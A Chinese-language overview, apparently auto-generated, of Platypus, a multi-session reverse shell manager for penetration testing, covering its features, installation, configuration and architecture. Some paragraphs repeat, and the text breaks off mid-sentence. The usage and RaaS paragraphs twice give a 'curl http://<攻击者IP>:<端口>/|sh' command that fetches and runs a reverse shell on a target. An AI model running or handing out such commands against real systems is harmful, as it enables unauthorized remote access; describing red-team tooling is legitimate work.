1. 项目定位与用途
Platypus 是一个多会话反向 Shell 管理器,用于渗透测试中统一管理多个目标的反向 Shell 连接。它提供终端 CLI 和 Web UI,支持会话切换、文件传输、端口转发等操作,核心目标是简化红队行动中的访问维持与横向移动流程。仓库中未明确给出与其他工具(如 Metasploit)的深度集成细节。
Platypus是一个用Go开发的多会话反向Shell管理工具,提供CLI和Web UI,支持RESTful API、Python SDK、RaaS、文件传输和端口转发。本页详细介绍其安装方式、使用方法及核心功能。
Platypus 是一个用 Go 开发的多会话反向 Shell 管理器,提供终端 CLI 和 Web UI,通过 Reverse Shell as a Service (RaaS) 简化渗透测试中的会话管理、文件传输和端口转发操作。
Platypus 是一个多会话反向 Shell 管理器,用于渗透测试中统一管理多个目标的反向 Shell 连接。它提供终端 CLI 和 Web UI,支持会话切换、文件传输、端口转发等操作,核心目标是简化红队行动中的访问维持与横向移动流程。仓库中未明确给出与其他工具(如 Metasploit)的深度集成细节。
主要功能包括:多服务监听端口与多客户端连接;RESTful API 与 Python SDK 远程控制;Reverse Shell as a Service(RaaS)通过 curl 命令一键生成反向 Shell;文件上传下载带进度条;全交互式 Shell 支持 vim 及 Ctrl+C/Z 信号;自动启动服务器;端口转发;从配置文件初始化;Web UI 管理界面。所有特性均基于 README 与代码结构确认。
支持三种安装方式:1) 从源码编译:git clone 后运行 make install_dependency 安装依赖,再 make release 编译;2) 使用 Docker:docker-compose up -d 启动;3) 下载预编译二进制文件从 GitHub Releases 页面获取。可选依赖 upx 用于压缩二进制文件。仓库中未明确给出其他包管理器(如 apt)的直接安装命令。
运行 ./Platypus 自动生成 config.yml 配置文件,可修改监听端口与客户端标识格式(如 %i 表示 IP)。使用 RaaS:在目标机执行 curl http://<攻击者IP>:<端口>/|sh 生成反向 Shell。CLI 中使用 list 查看会话,interact 进入交互式 Shell,upload/download 传输文件,tunnel 配置端口转发。Web UI 访问 http://127.0.0.1:7331/。RESTful API 与 Python SDK 提供编程控制能力。
项目采用三组件架构:1) 管理端(cmd/platypus-admin):提供 CLI 命令分发器与 REPL 循环;2) 服务器(cmd/platypus-server):加载配置,启动监听器、RESTful API 服务与分发器服务器;3) 代理客户端(cmd/platypus-agent):处理 TLS 连接、Gob 编解码、PTY 进程管理、文件传输与隧道。设计文档位于 docs/platypus/docs/dev-guide/design/Design.md。
项目支持自动更新检查(可通过配置关闭),配置文件使用 YAML 格式,客户端标识支持 IP、用户名、MAC、操作系统、时间戳组合。Web UI 基于 Gin 框架,RESTful 服务默认监听 127.0.0.1:7331。仓库中包含多语言反向 Shell 模板(assets/template/rsh/),但具体语言支持列表未在 README 中完整列出。
支持三种方式:从源码编译(git clone 后执行 make install_dependency 和 make release)、使用 Docker(docker-compose up -d)、或下载 GitHub Releases 中的预编译二进制文件直接运行。可选安装 upx 用于压缩。
RaaS(Reverse Shell as a Service)是通过简单 curl 命令在目标机生成反向 Shell 的服务。启动 Platypus 后,终端会显示类似 curl http://<IP>:<端口>/|sh 的命令,在目标机执行即可建立反向连接,